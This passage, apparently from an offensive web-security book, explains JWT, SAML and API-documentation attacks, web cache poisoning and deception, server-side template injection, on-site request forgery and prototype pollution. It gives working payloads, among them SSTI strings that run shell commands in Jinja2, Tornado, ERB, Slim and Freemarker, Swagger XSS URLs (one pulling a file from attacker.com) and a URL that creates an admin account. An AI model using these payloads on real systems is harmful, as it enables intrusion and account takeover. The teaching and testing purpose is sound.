privilege escalation. In the below sections I talk about the most common authentication
methods and their pitfalls.
HTTP Basic
This is probably the most basic and easy to implement type of authentication. As shown
in the below image you can identify HTTP Basic Auth by the popup it displays in web
browsers.
After typing in your username and password the authentication details are stored in an
authorization header as shown below:
Note that the authorization header is just a base64 encoded string of the username and
password. If we were to decode the above string we would get the following:
That's one of the biggest downfalls of using HTTP Basic Auth. Each time you send a
request your clear text username and password are sent as a base64 encoded
authentication header making it very susceptible to eavesdropping attacks.
Json Web Token (JWT)
Introduction
Json Web Tokens(JWTs) are extremely popular among API endpoints as they are easy
to implement and understand.
When a user attempts to login the system will send its credentials to the back end API.
After that the backend will verify the credentials and if they are correct it will generate a
JWT token. This token is then sent to the user, after that any request sent to the API will
have this JWT token to prove its identity.
As shown below a JWT token is made up of three parts separated by dots:
●
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFt
ZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwp
MeJf36POk6yJV_adQssw5c
The token can easily be decoded using a base64 decoder, but I like to use the site jwt.io
to decode these tokens as shown above.
Notice how there are three parts to a JWT token:
●
Header
●
Payload
●
Signature
The first part of the token is the header, this is where you specify the algorithm used to
generate the signature. The second part of the token is the payload, this is where you
specify the information used for access control. In the above example the payload
section has a variable called “name”, this name is used to determine who the user is
when authenticating. The last part of the token is the signature, this value is used to
make sure the token has not been modified or tampered with. The signature is made by
concatenating the header and the payload sections then it signs this value with the
algorithm specified in the header which in this case is “H256”.
If an attacker were able to sign their own key they would be able to impersonate any
user on the system since the backend will trust whatever information is in the payload
section. There are several different attacks which attempt to achieve this as shown in
the below sections.
Deleted Signature
Without a signature anyone could modify the payload section completely bypassing the
authentication process. If you remove the signature from a JWT token and it's still
accepted then you have just bypassed the verification process. This means you can
modify the payload section to anything you want and it will be accepted by the backend.
Using the example from earlier we could change the “name” value from “john doe” to
“admin” potentially signing us in as the admin user.
None Algorithm
If you can mess with the algorithm used to sign the token you might be able to break the
signature verification process. JWT supports a “none” algorithm which was originally
used for debugging purposes. If the “none” algorithm is used any JWT token will be
valid as long as the signature is missing as shown below:
Note that this attack can be done manually or you can use a Burp plugin called “Json
Web Token Attacker” as shown in the below image:
I personally like using the plugin as you can make sure you don’t mess anything up and
it's generally a lot faster to get things going.
Brute Force Secret Key
JWT tokens will either use an HMAC or RSA algorithm to verify the signature. If the
application is using an HMAC algorithm it will use a secret key when generating the
signature. If you can guess this secret key you will be able to generate signatures
allowing you to forge your own tokens. There are several projects that can be used to
crack these keys as shown below:
●
https://github.com/AresS31/jwtcat
●
https://github.com/lmammino/jwt-cracker
●
https://github.com/mazen160/jwt-pwn
●
https://github.com/brendan-rius/c-jwt-cracker
The list can go on for days, just search github for the words “jwt cracker” and you will
find all kinds of tools that can do this for you.
RSA to HMAC
There are multiple signature methods which can be used to sign a JWT token as
shown in the list below:
●
RSA
●
HMAC
●
None
RSA uses a public/private key for encryption, if you are unfamiliar with the asymmetric
encryption processes I would suggest looking it up. When using RSA the JWT token is
signed with a private key and verified with the public key. As you can tell by the name
the private key is meant to be private and the public key is meant to be public. HMAC is
a little different, like many other symmetric encryption algorithms HMAC uses the same
key for encryption and decryption.
In the code when you are using RSA and HMAC it will look something like the following:
●
verify(“RSA”,key,token)
●
verify(“HMAC”,key,token)
RSA uses a private key to generate the signature and a public key for verifying the
signature while HMAC uses the same key for generating and verifying the signature.
As you know from earlier the algorithm used to verify a signature is determined by the
JWT header. So what happens if an attacker changes the RSA algorithm to HMAC. In
that case the public key would be used to verify the signature but because we are using
HMAC the public key can also be used to sign the token. Since this public key is
supposed to be public an attacker would be able to forage a token using the public key
and the server would then verify the token using the same public key. This is possible
because the code is written to use the public key during the verification process. Under
normal conditions the private key would be used to generate a signature but because
the attacker specified an HMAC algorithm the same key is used for signing a token and
verifying a token. Since this key is public an attacker can forge their own as shown in
the below code.
The original header was using the RS256 algorithm but we changed it to use HS256.
Next we changed our username to admin and signed the token using the servers public
key. When this is sent to the server it will use the HS256 algorithm to verify the token
instead of RS256. Since the backend code was set up to use a public/private key the
public key will be used during the verification process and our token will pass.
Summary
Json web tokens(JWT) are a relatively new way to handle authentication and it is
relatively simple compared to other methods. However, even with this simplicity there
are several vulnerabilities which impact JWTs. If an attacker is able to forge their own
ticket its game over. This is why most of the attacks revolve around this methodology.
Security Assertion Markup Language (SAML)
Introduction
If you're dealing with a fortune 500 company, a company implementing a zero trust
network, or a company utilizing single sign on (SSO) technology then you're probably
going to see Security Assertion Markup Language (SAML). According to Google SSO is
“ an authentication scheme that allows a user to log in with a single ID and password to any of
several related, yet independent, software systems ”.
The above illustration describes how one could implement SAML. The first thing you
want to pay attention to is the SSO website and the identity provider (ID). Remember
the goal of SSO is to use one set of credentials across multiple websites, so we need a
central place to login to and the SSO websites acts as this place. Once we login to the
SSO website the credentials will be sent to the ID. The ID will check the supplied
credentials against a database and if there is a match you will be logged in.
Now if we try to login to our target website AKA service provider (SP) we will be
forwarded to the SSO website. Since we are already logged into the SSO website we
will be forwarded back to the SP with our SAML assertion that contains our identity.
A SAML Assertion is the XML document that the identity provider sends to the service
provider which contains the user authorization. The SAML assertion will contain a
subject section which contains the authentication information such as a
username.There is also a signature section which contains a signature value that
verifies the subject section hasn't been tampered with. Note that the signature section
contains a tag called “Reference URI” which points to the section the signature applies
to. In the below SAML assertion we see the signature has a Reference URI of
“_2fa74dd0-f1dd-0138-2aed-0242ac110033”, notice how this is the same as the
“Assertion ID” which means this signature is verifying that tag and everything it holds.
Also notice in the above image there is a tag called “NameID” which holds the user's
username. This information is sent to the service provider and if accepted it will log us in
as that user.
XML Signature Removal
When a service provider receives a SAML assertion the endpoint is supposed to verify
the information has not been tampered with or modified by checking the XML signature.
On some systems it is possible to bypass this verification by removing the signature
value or the entire signature tag from the assertion or message.
One of the first things I try is to make the “SignatureValue” data blank so it looks like
“ <ds:SignatureValue></SignatureValue> ”, in certain situations this is enough to
completely break the signature check allowing you to modify the information in the
assertion.
Another attack is to completely remove the signature tags from the request. If your
using the SAML Raider plugin in Burp you can do this by clicking the “Remove
SIgnatures” button as shown below:
Note you can also remove the signature by hand if you don't want to use the plugin. The
end result will be a message or assertion tag without a signature.
Notice how the above illustration is missing the signature section. A normal service
provider would reject this message but in some cases it will still be accepted, if that's the
case an attacker could modify the information in the “Subject” tags without the
information being verified. This would allow an attacker to supply another user's email
giving them full access to their account.
XMLComment Injection
An XML comment is the same as a comment in any other language, it is used by
programmers to mention something in the code and they are ignored by compilers. In
XML we can include comments anywhere in the document by using the following tag:
●
<!--Your comment-- >
An XML parser will typically ignore or remove these comments when parsing an XML
document and that's where an attacker can strike. If we pass the username
“ admin<!--Your comment-- > @gmail.com " the comment will be removed/ignored giving
us the username “ [email protected] ”.
We can see in the above image of a SAML response that I created a user which
contains a comment in it. When it is passed to the service provider the comment will be
stripped out giving the email “ [email protected] ”, we will then be logged in as that user.
XML Signature Wrapping (XSW)
The idea of XML Signature Wrapping (XSW) is to exploit the separation between SSO
Verificator and SSO Processor. This is possible because XML documents containing
XML Signatures are typically processed in two separate steps, once for the validation of
the digital signature, and once for the application that uses the XML data.
A typical application will first locate the signature and its reference uri, as mentioned
earlier the reference uri is used to determine which document the signature verifies. The
application will use the reference uri to find which XML element is signed and it will
validate or invalidate it. Once the validation process is complete the application will
locate the desired XML element and parse out the information it's looking for. Typically
the validation and processing phase will use the same XML element but with signature
wrapping this may not be the case, validation may be performed on one element but the
processing phase happens on another element.
If you're testing for this type of vulnerability I would recommend using the SAML Raider
plugin for Burp as shown below:
All you have to do is select the XSW attack, press the “Apply XSW” button, and send
the response. If the endpoint returns successfully without erroring out then you can
assume it is vulnerable to this type of attack.
XSW Attack 1
This first attack is used on the signature of the SAML response. Basically we create a
new SAML response with our malicious assertion then we wrap the original response in
the new response. The idea here is that the validation process will happen on the
original response but the processing phase will happen on our modified response.
Notice how the original SAML response is embedded in the signature, this is called an
enveloping signature. Also notice how the signature reference URI matches the
embedded SAML response id. This will cause the verification process to succeed.
However, when the application goes to parse the assertion it will use our evil assertion
instead of the original one.
XSW Attack 2
The second attack is the same as the first attack except instead of using an embedded
signature it uses a detached signature as shown below.
Note that the first and second attack are the only two attacks that target the signature of
the SAML response, the rest of the attacks target the signature of the assertion.
XSW Attack 3
This attack works by placing our malicious assertion above the original assertion so it's
the first element in the SAML response.
Here we are hoping after the validation steps complete the parsing process takes the
first element in the SAML response. If it does it will grab our malicious assertion instead
of the original one.
XSW Attack 4
This attack is similar to XSW attack 3 except we embed the original assertion in our evil
assertion as shown below:
XSW Attack 5
In this attack we copy the original signature and embed it into our malicious assertion.
However, the original signature still points to the original assertion as shown in the
below illustration.
XSW Attack 6
Here we embed the original assertion in the original signature then we embed all of that
in the malicious assertion as shown below:
XSW Attack 7
This method utilises the “Extensions” tag which is a less restrictive XML element. Here
we place the malicious assertion with the same ID as the original assertion in a set of
extensions tags.
Notice how the malicious assertion and the original assertion have the same id.
XSW Attack 8
Again we are making use of a less restrictive XML element called “Object”. First we
create the malicious assertion and embed the original signature in it. Next we embed an
object element in the signature and finally we place the original assertion in the object
element.
Notice how the malicious assertion and the original assertion have the same id.
API Documentation
Introduction
The vast majority of vulnerabilities I find in APIs are the result of a design flaw. If you
have access to the API documentation these can be fairly easy to locate. For example,
suppose there is a password reset endpoint which takes a user id and a new password
as its input. Right now you might be thinking I should check for IDOR to see if I can
reset other users passwords and that would be correct. These types of design flaws can
be relatively easy to spot when you have the API documentation that lists all the
available endpoints and their parameters. The other option is to manually inspect your
traffic to find this endpoint but having the API documentation makes it a lot easier.
Swagger API
Swagger is a very popular API documentation language for describing RESTful APIs
expressed using JSON. If I see an application using a REST API i'll typically start
looking for swagger endpoints as shown below:
●
/api
●
/swagger/index.html
●
/swagger/v1/swagger.json
●
/swagger-ui.html
●
/swagger-resources
As shown above swagger documentation gives you the name,path,and arguments of
every possible api call. When testing api functionality this is a gold mine. Clicking on a
request will expand it and you can perform all of your testing right there as shown
below:
Seeing the image above I imminently think to test for insecure redirect due to the
redirect parameter being present. Typically when looking at the documentation I look for
design flaws, authentication issues, and the OWASP top 10. I have personally found
hidden passwords resets that are easily bypassable, hidden admin functionality that
allows you to control the entire site unauthenticated, sql injection, and much more.
XSS
Swagger is a popular tool so it’s bound to have some known exploits. I have personally
found reflected XSS on several swagger endpoints while testing. A while back someone
found this XSS flaw on the url parameter as shown below:
●
http://your-swagger-url/?url=%3Cscript%3Ealert(atob(%22SGVyZSBpcyB0aGUgWFNT
%22))%3C/script%3
●
https://github.com/swagger-api/swagger-ui/issues/1262
You can also get persistent XSS if you give it a malicious file to parse as shown below:
●
http://your-swagger-url/?url=https://attacker.com/xsstest.json
●
https://github.com/swagger-api/swagger-ui/issues/3847
If you happen to stumble across some swagger documentation it’s probably a good idea
to check for these two XSS vulnerabilities.
Postman
According to Google “Postman is a popular API client that makes it easy for developers
to create, share, test and document APIs. This is done by allowing users to create and
save simple and complex HTTP/s requests, as well as read their responses”. Basically
Postman is a tool that can be used to read and write API documentation.
●
https://www.postman.com/downloads/
What's nice about Postman is that you can import API documentation from multiple
sources. For example earlier we talked about Swagger APIs and we used the official
swagger api website to load the documentation. However, we could have used Postman
for this instead, all you have to do is load the Swagger json file and you're good to go.
Once you have the API docs imported to Postman you're good to go. The next step is to
review each API endpoint and test it for vulnerabilities.
WSDL
According to Google “The Web Service Description Language (WSDL) is an XML
vocabulary used to describe SOAP-based web services”. In other words the WSDL file
is used to describe the endpoints of a SOAP API.
As shown above WSDL files are fairly easy to spot, just look for an XML file that
contains a “wsdl” tag. When hunting these will typically look like the following urls:
●
example.com/?wsdl
●
example.com/file.wsdl
As shown above we can then import this file into the “soupUI” tool.
●
https://www.soapui.org/downloads/soapui/
This tool can be used to create templates of the requests which can then be sent to the
target server. All you have to do is fill in your values and hit send.
WADL
According to Google “The Web Application Description Language (WADL) is a
machine-readable XML description of HTTP-based web services”. You can think of
WADL as the REST equivalent of WSDL. WADL is typically used for REST APIs while
WSDL is typically used on SOAP endpoints.
WADL files should look similar to the image above. When hunting be on the lookout for
an XML document ending with “wadl” as shown below:
●
example.com/file.wadl
Once you have the targets WADL file you can import it using postman as shown above.
The next step is to review the API documentation so you can better understand the
application. This will help you identify vulnerabilities later down the road.
Summary
API documentation is one of the best resources to have when probing an API for
vulnerabilities. If I'm testing an API endpoint I'll typically startout by looking for the
corresponding API docs. This will help you get an understanding of the API and all the
functionalities it contains. Once you understand the application you can start to find
design flaws and other bugs fairly easily.
Conclusion
If you come across an API endpoint the first step is to figure out what type of API it is.
Your testing methodology will change slightly depending on if it's a REST,RPC, SOAP,
or GraphQL API. Note that APIs share the same vulnerabilities as every other web
application so make sure you’re looking for SQL injection,XSS, and all the other
OWASP vulnerabilities. You also want to keep an eye out for the API documentation as
this can be very useful to an attacker. Attackers can use the API docs to find design
flaws,hidden endpoints, and get a better understanding of the application. In addition
you also want to pay attention to the authentication process, depending on the
technology there could be several attack avenues here as well
Caching Servers
Web Cache Poisoning
Introduction
Web cache poisoning is a technique attackers use to force caching servers to server
malicious requests. Most commonly this attack is chained with self xss which turns a
low impact xss finding into a high impact one since it can be served to any user who
visits the cached page.
Basic Caching Servers
To understand web cache poisoning you must first understand how caching servers
work. In simple terms cach servers work by saving a users request then serving that
saved request to other users when they call the same endpoint. This is used to prevent
the same resource from getting called over and over and forcing the server to perform
the same work over and over. Instead the server only gets called if the response is not
found in the caching server, so if the endpoint “test.com/cat.php” is called 100 times the
server will answer the first request and save the response to the caching server. The
other 99 requests will be answered by the caching server using the saved response
from the first request.
As shown above “user 1” makes a request to the “example.com/kop?somthing=ok” and
the response is not found in the caching server so it is forwarded to the web server
which answers the response. Next users 2 and 3 make the same request but this time
the response is found in the caching server so the web server is not contacted. The old
response is shown instead.
How exactly does the caching server determine if two requests are identical? The
answer is cache keys. A cache key is an index entry that uniquely identifies an object in
a cache. You can customize cache keys by specifying whether to use a query string (or
portions of it) in an incoming request to differentiate objects in a cache.
Typically only the request method, path, and host are used as cache keys but others
can be used as well. If we look at the above request the cache keys would be:
●
GET /embed/v4.js?_=1605995211298
●
Play.vidyard.com
Everything else would be discarded when determining if two requests are the same
unless stated otherwise.
As shown above in the HTTP response the “Vary” header says that the X-ThumbnailAB,
X-China, accept-language, and Accept-Encoding headers are also used as cache keys.
These values are important to note, for example if the user-agent is also used as a
cache key a new cache would need to be created for every unique user agent header.
Web Cache Poisoning
If an attacker can somehow inject malicious content into a http response that is cached
the same response will be served to other users who request the same endpoint. The
name web cache poisoning may sound scary and hard but it's actually relatively easy to
find and exploit.
The first step is to find unkeyed input. As mentioned earlier cache keys are used by the
caching server to determine which requests are the same and which are different. We
need to find keys that don't cause the server to think the request is different. Hince the
name “unkeyed” because it's not keyed by the caching server therefore it won't be used
to determine if a request is unique or not. The second step is to determine the impact
the unkeyed input has on the server, can it be used to exploit an open redirect
vulnerability, self xss, or some other vulnerability. Finally, you need to figure out if the
page is cacheable using the unkeyed input, if it is you should be able to exploit other
users when they view the cached page.
I mentioned that the first thing you want to do is find unkeyed input. This can be
accomplished in Burp using the “param miner” plugin. Once this plugin is downloaded
you can easily initiate a scan by right clicking a request and choosing param miner.
Next the attack config will be displayed. You can change the settings around here but I
typically just hit ok. Note you can also use the guess headers button if you're only
interested in unkey values in the header or you can hit guess GET parameters if you're
interested in GET parameters.
After hitting “ok” the attack will start and you can view your results under the extender
tab as shown below:
As shown above the “X-forward-scheme” header was found and it isn't used as a key
by the caching server. This header is also vulnerable to self XSS. Under normal
conditions we would only be able to exploit ourselves but if the self xss payload is
cached by the application other users will be able to view the cached page if it's public.
Looking at the HTTP response we can see several headers are returned which are
indicators of the page being cached. The “X-Cache” header is set to “hit” which means
the page was served from cache. If it was set to “miss” the page isn't served from
cache. The “Age” header is also another indicator this page is cached. This value
contains the seconds the page has been cached for. Obviously we need the self xss
payload to be cached so trying to execute it on an endpoint that is already cached wont
work. However, as mentioned earlier the path is normally used when determining if a
page has been cached or not, so adding a random GET parameter to the request
should cause the response to be cached.
As you can see above changing the GET parameter “test” to “2” causes the response
to be cached by the server. This conclusion came from the fact that the “X-cache”
header is set to “miss” and the “Age” header is set to 0. We now know we can cause
the response to be cached by incrementing the test parameter. Now add the self xss
payload to the vulnerable “X-forward-scheme” header and increment the test parameter
one more time. Finally, hit send and the self xss payload will be cached by the server.
Any one who views the endpoint will cause the xss payload to trigger effectively turning
self xss into stored xss.
Summary
Web cache poisoning is a relatively new vulnerability and might sound confusing to
some people but it's fairly easy to exploit. Find an unkeyed value using the param miner
plugin, see if you can exploit the unkeyed value in some way(self xss), see if you can
make the server cache the malicious http response, finally test to see if your exploit
worked. Normally people dismiss self xss vulnerabilities but with web cache poisoning
you can turn self XSS into stored XSS.
Web Cache Deception
Introduction
Like web cache poisoning web cache deception is an attacker against the caching
server. With this attack we trick the caching server into caching sensitive information of
other users. In certain scenarios the exposed information can be used to take over a
users account.
We talked about caching servers in the web cache poisoning section so if you haven't
read that I would recommend doing so you know how caching servers work.
Web Cache Deception
Web cache deception works by sending the victim a URL which will cache the response
for everyone to see. This exploit is only possible due to path confusion and the fact that
some caching servers will cache any request containing a static file such as a png, jpeg,
and css.
First let's explore when a caching server decides to cache a response and when it
doesn't. Caching is very useful but sometimes you don't want to have a page cached.
For example, suppose you have the endpoint “setting.php” which returns a user's
name,email,address, and phone number. There could be numerous users access
setting.php and each response will be different as the response relies on the user
currently logged in so it wouldn't make sense to have caching on this page. Also for
security reasons you probably don’t want your application caching pages with sensitive
information on them.
As you can see in the above image on line 15 there is a header called “cache-control”
which is set to “no-cache”. This tells the caching server to not cache this page.
However, sometimes the caching server will make the executive decision to cache a
page anyway. This normally occurs when the caching server is configured to cache any
page ending with a specific extension (css,jpg,png,ect). The caching server will cache
all static pages no matter what the response headers say. So if we were to request
“example.com/nonexistent.css” the caching server would cache this response
regardless of the response headers because it is configured to do so.
Next let's look at path confusion. Path confusion occurs when an application loads the
same resources no matter what the path is. With the rise of large web applications and
complicated routing tables path confusion has been introduced.
As you can see above there is a catch all path on the root directory. This means that
any path after “/” will essentially be passed to the same function giving the same results.
Both the “example.com” and “example.com/something'' URL would be sent to the same
catch_all function. We are just printing the path but in the real world the application
would perform some task and return the HTML response.
The above image is from the white paper “Cached and Confused: Web Cache
Deception in the Wild” and describes several techniques used to cause path confusion.
The first technique “path parameter” occurs when additional paths added to the request
are passed to the same backend function. So “example.com/account.php” is the same
as “example.com/account.php/nonexistent.css” in the eyes of the application. However,
the caching server sees “example.com/account.php/nonexistent.css”.
The second technique “encoded newline” tries to take advantage of the fact that some
proxies and web servers stop reading after the new line character but the caching
server does not. So the webserver sees “example.com/account.php” but the caching
server sitting in front of the website sees
“example.com/account.php%0Anonexistent.css” so it caches the response because
they are different.
The third technique “encoded semicolon” takes advantage of the fact that some web
servers treat semicolons(;) as parameters. However, the caching server may not
recognize this value and treat the request as a separate resource. The website sees
“example.com/account.php” with the parameter “nonexistent.css” but the caching server
only sees “example.com/account.php%3Bnonexistent.css”.
The fourth technique “encoded pound” takes advantage of the fact that web servers
often process the pound character as an HTML fragment identifier and stop parsing the
URL after that. However, the caching server may not recognize this so it sees
“example.com/account.php%23nonexistent.css” while the server sees
“example.com/account.php”.
The last technique “encoded question mark” takes advantage of the fact that web
servers treat question marks(?) as parameters but the caching server treats the
response different. So the caching server sees
“example.com/account.php%3fname=valnonexistent.css” but the web server sees
“example.com/account.php”.
As you can tell these attacks are about the web server interpreting a request one way
while the caching server interprets it a different way. If we can get the application to
interpret two different urls the same way while getting the caching server to interpret it
differently while caching the page there is a possibility of web cache deception.
Now let's get our hands dirty with a live application. As shown below when visiting the
“/users/me” path the application presents us with a bunch of PII information such as my
email,name, and phone number.
To test for web cache deception try one of the several path confusing payloads as
shown below:
●
example.com/nonexistent.css
●
example.com/%0Anonexistent.css
●
example.com/%3Bnonexistent.css
●
example.com/%23nonexistent.css
●
example.com/%3fname=valnonexistent.css
As you can see, appending “nonexistent.css” to the URL did not have any impact on the
response as we see the same response as if we hit the path “/user/me”. The server also
responds with a header telling the caching server not to cache the page. However, the
caching server is set up to cache all CSS pages so the page does in fact get cached.
Now any one who views that url will see the target users information resulting in the
leakage of sensitive PII information.
Summary
Web cache deception is a fairly new technique and it's really easy to exploit. All you
have to do is trick the caching server into caching a page that has sensitive information
on it. If exploited in the wild attackers could target users potentially stealing PII
information or in the worse scenario their entire account. First you want to find a page
exposing sensitive information, check for path confusion, see if the response is cached,
and finally check to see if the cached response is public.
More OWASP
Introduction
We discussed some basic OWASP vulnerabilities towards the beginning of the book but
that didn't even scratch the surface. As I stated earlier the vast majority of your targets
external facing assets are going to be web applications. So it would be wise if you learn
everything there is to know about web application testing as you will be doing it alot.
That being said lets add a few more web application vulnerabilities to your arsenal of
techniques.
Server Side Template Injection (SSTI)
Introduction
To understand server side template injection you must understand templates and to
understand templates you must understand the model–view–controller design pattern.
Model-view-controller is a software designed pattern primarily used for developing user
interfaces.
As you can see above a user initiates a request to the controller. The controller then
uses the model to gather information from the back end database, this information is
then passed back to the controller. Next the controller passes the information to the
view where it uses the data to update values in the view. The updated view is passed
back to the controller where it is then sent to the user and rendered in the browser.
The view is used to manipulate the HTML code and is normally implemented using
templates. Templates allow you to have place holders in your HTML code where you
can pass in variables as shown below:
As you can see on the 4th line there is a title tag holding the expression “{{Title}}”. This
string will be replaced by whatever argument is passed to the template engine. This
allows developers to easily reuse their code.
A template engine enables you to use static template files in your application. At
runtime, the template engine replaces variables in a template file with actual values, and
transforms the template into an HTML file sent to the client. You may be thinking why
use a template engine to modify an HTML document when a simple format string
operator would work. The reason is that template engines are much more powerful than
a simple format string operator. Template engines can do all kinds of things such as
calling functions and methods, looping over variables, arithmetic, and much more.
As you will find out in the following section hackers can abuse templates engines to do
all kinds of nasty things. Server side template injection can be used for XSS, sensitive
information disclosures, and even code execution.
Python - Jinja 2
Jinja 2 is a template engine in python and is often used in Flask and Django
applications. An example of a vulnerable flask application can be found in the below
image:
When testing for server side template injection(SSTI) in a Jinja 2 application I usually try
the following payloads:
●
{{7*7}}
○
49
●
{{7*’7’}}
○
7777777
In the above image we see the number “7777777” displayed so you can assume the
application is vulnerable and is using the Jinja 2 or tornado template engine.
To fully understand how to exploit this vulnerability you first need to understand Method
Resolution Order (MRO). MRO is the order in which Python looks for a method in a
hierarchy of classes and you can use the MRO function to list these classes.
●
‘’.__class.__mro__
So, here it will first search the string class for a method and if it's not there it will search
the root object class. For this attack we only care about the root object class as we can
use this to get a handle to all other classes used by the application. To get the root
object go to the second index in the array as shown below:
●
‘’.__class.__mro__[1]
Note you can also use the __base__ method on an empty array to get this object as
shown in the below command:
●
[].__class__.__base__
The __subclasses__() method can be used to list all the subclasses of a class. With this
we can get a handle to every class the application uses. Depending on the results you
could have the ability to execute terminal commands, read files, and much more.
●
{{[].__class__.__mro__[1].__subclasses__()}}
As you can see above all subclasses of the root object have been displayed. Next you
want to look for something interesting. We have access to the ‘subprocess.Popen’
class, an attacker could leverage this class to execute commands on the server as
shown below:
●
{{[].__class__.__mro__[1].__subclasses__()[-3]('whoami',shell=True,stdout=-1).co
mmunicate()[0] }}
If you are familiar with python and know the popen method then you can tell that there is
nothing special going on here, we are using legit functionalities of python to execute a
system command. Note you can also use the following command for code execution if
the command above doesn't work:
●
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
If you find server side template injection in the Jinja 2 template engine the severity of
your finding depends on what python classes you have access to. If you don’t have
access to any system command classes then code execution might be impossible(not
always). If you have access to the file class you might be able to read/write files to the
system. Make sure to properly enumerate all the classes the root object has access to
so you can figure out what you can and can't do.
Python - Tornado
According to Google Tornado is a scalable, non-blocking web server and web
application framework written in Python. Tornado also has its own template engine
which like many others is vulnerable to server side template injection if implemented
incorrectly as shown below:
Exploiting SSTI in the tornado template engine is relatively easy compared to other
engines. Looking at the tornado template engine documentation it mentions that you
can import python libraries as shown below:
Any library available to python is also available to the template engine.This means that
you can import a python library and call it. This functionality can be abused to make
system commands as shown below:
●
{% import os %}{{ os.popen("whoami").read() }}
●
{% import subprocess
%}{{subprocess.Popen('whoami',shell=True,stdout=-1).communicate()[0]}}
As you can see above the ‘whoami’ command was run on the server and the output was
displayed on the screen. We are not limited to just executing shell commands, since we
can import any library python we can do anything we want.
Ruby- ERB
ERB is an Eruby templating engine used to embed ruby code. According to Google “An
ERB template looks like a plain-text document interspersed with tags containing Ruby
code. When evaluated, this tagged code can modify text in the template”. An example of
a vulnerable template can be found in the below image:
Note that ERB uses the following tags for embedding code:
●
<% code %>
●
<%= code %>
The first example “<%code%>” is used to execute ruby code and the second example
“<%= code %>” is used to execute ruby code and return the results. To test for for
server side template injection in this engine use the following command:
●
<%= 7 * 7 %>
As you can see above the code was executed and it returned the value of “49”. This is a
strong indicator that the server is vulnerable to server side template injection. To test for
code execution simply run your ruby code as shown below:
●
<%= `whoami` %>
●
<%= IO.popen('whoami').readlines() %>
●
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%=
@b.readline()%>
●
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%=
@c.readline()%>
As you can see above the “whoami” command ran and the results were outputted to the
screen.
Ruby - Slim
According to Google “Slim is a fast, lightweight templating engine with support for Rails
3 and later”. Like many other template engines when improperly implemented SSTI can
arise. An example of a vulnerable template can be found in the below image:
In terms of exploiting SSTI the slim template engine is very similar to ERB except for
the syntax as shown below:
●
#{code}
To execute a shell command just wrap your command in backticks as shown below:
●
#{ `whoami` }
Again just like the ERB template engine you can execute any ruby command you want.
Java - Freemarker
Freemarker is the most popular template engine for java so it's a good idea to learn how
to exploit it. Example vulnerable code can be found in the below image:
As you can see above this vulnerability stems from concatenating user supplied input
with a template just like every other template engine. To test for SSTI vulnerability use
the following payload:
●
${7*7}
Similar to other template engines to exploit this vulnerability we are going to use an
object to execute shell commands. The new() command can be used to instantiate
classes so all we need is a class that can execute shell commands.
As shown above the Execute class can be used to execute shell commands. The
documentation even mentions that this class can be used to run arbitrary code on your
server. To use this class we can run the following command:
●
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("whoami")}
●
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('whoami')}
●
${"freemarker.template.utility.Execute"?new()("whoami")}
As you can see above the command “whoami” ran and the output was displayed in the
browser. From here it would be trivial to run a command to execute your backdoor or
anything else you want.
Summary
On-site Request Forgery (OSRF)
Introduction
On site request forgery is a fairly old vulnerability that most people don’t know about.
Similar to cross site request forgery(CSRF) with OSRF an attacker can force a users
web browser to make requests on the attackers behalf. The only difference is that the
request is initiated from the target application whereas CSRF is initiated from an
attacker controlled site.
OSRF
When looking at OSRF it can feel very similar to XSS. This is because the root cause of
this vulnerability is using user supplied input to make HTTP requests. An example
vulnerable application can be found below:
The whole goal of this vulnerable application is to force the user to send a request to the
“/admin/add” endpoint. Doing so will cause the application to add an admin user which
the attacker could use to login to the victims application.
If you see XSS on line 8 you're absolutely correct but for the purpose of the exercise
let's assume that the user's input is sanitized and we can't break out of the single
quotes. In that scenario XSS wouldn't work but OSRF will. Remember the goal is to
make the user browser send a request to
“127.0.0.1/admin/add?username=ghost&password=lulz”. This would create a new
admin user called “ghost” with the password of “lulz”. Take a closer look at the “/”
endpoint and how the “vuln_param” is used to create the src attribute of the image tag.
What if an attacker were to input “../../”?
As you can see above it caused the application to send a GET request to the path“/”
instead of “/images”. This is because the “../” characters tell the server to go back one
directory, if you're familiar with linux you probably already know this.
The above request is a little better, if you look at the bottom right of the image you can
see the browser make a request to “/admin/add.jpg”. If we add the username and
password parameters we should be able to add an admin account as shown below:
Note when sending multiple parameters we must URL encode the “&” character
otherwise the browser will think it belongs to the first request not the second. Also notice
how the password is “lulz.jpg” and not “lulz”. This is because “.jpg” is appended to the
string at the end to get rid of these characters in our password we can just add a
dummy parameter as shown below:
●
http://127.0.0.1:5000/?vuln_param=../../admin/add?username=ghost%26password=lulz
%26dummy_param=
Finally we are able to make a request to the “/admin/add” endpoint causing the
application to add a new user called “ghost” with the password of “lulz”. Note that since
this is coming from the users browser it will contain all the users authentication cookies,
applications origin header, and more depending on how the request is sent.
Summary
If you're able to control part of the URL used to make an HTTP request you probably
have OSRF. To confirm, try injecting the “../” characters which will cause the request to
go up one directory, if this is possible you definitely have OSRF you just need to find an
interesting endpoint to call. This is a fairly old bug that most people don’t know exists
and on top of that it's really easy to implement this vulnerability in your application. That
stacked with the fact that it's easy to exploit makes this vulnerability fairly dangerous.
Prototype Pollution
Introduction
Javascript is a prototype based language. Prototypes are the mechanism by which
JavaScript objects inherit features from one another. This means that if the prototype
object is modified in one object it will apply to every other object as shown in the below
example:
As you can see above we have two variables called “a” and “b”. We modify the
prototype object in variable “a” by adding a variable called “foo” and giving it the value of
“bar”. You might think that this would have no effect on variable “b” but it does. The
modified prototype object is inherited by variable “b”, so when we call the “foo” variable
on “b” it prints “bar”.
Prototype Pollution
As stated earlier javascript is a prototype based language, this means that if we modify
the prototype object it will persist to all other objects. Take a look at the following code,
the goal here is to set the “admin” variable to true:
As shown above we are merging user supplied data with the user object. Next it will
create a variable called admin and it will check if “admin.admin” is set to true. If it is, we
win. Under normal circumstances this would be impossible as we never get the change
to modify this variable but with prototype pollution we can.
During the merge process if it comes across a prototype object it will add that to the
user object. Since the prototype object is inherited by all other objects we can potentially
modify other variables as shown in the below curl request.
In the above image we are sending a prototype object with a variable called “admin”
which is set to “true”. When the line checks to see if admin.admin is set to true it will
pass because the admin object inherited the admin variable from the prototype object
which we modified.
Summary
Prototype pollution can be thought of as a type of object injection. The prototype object
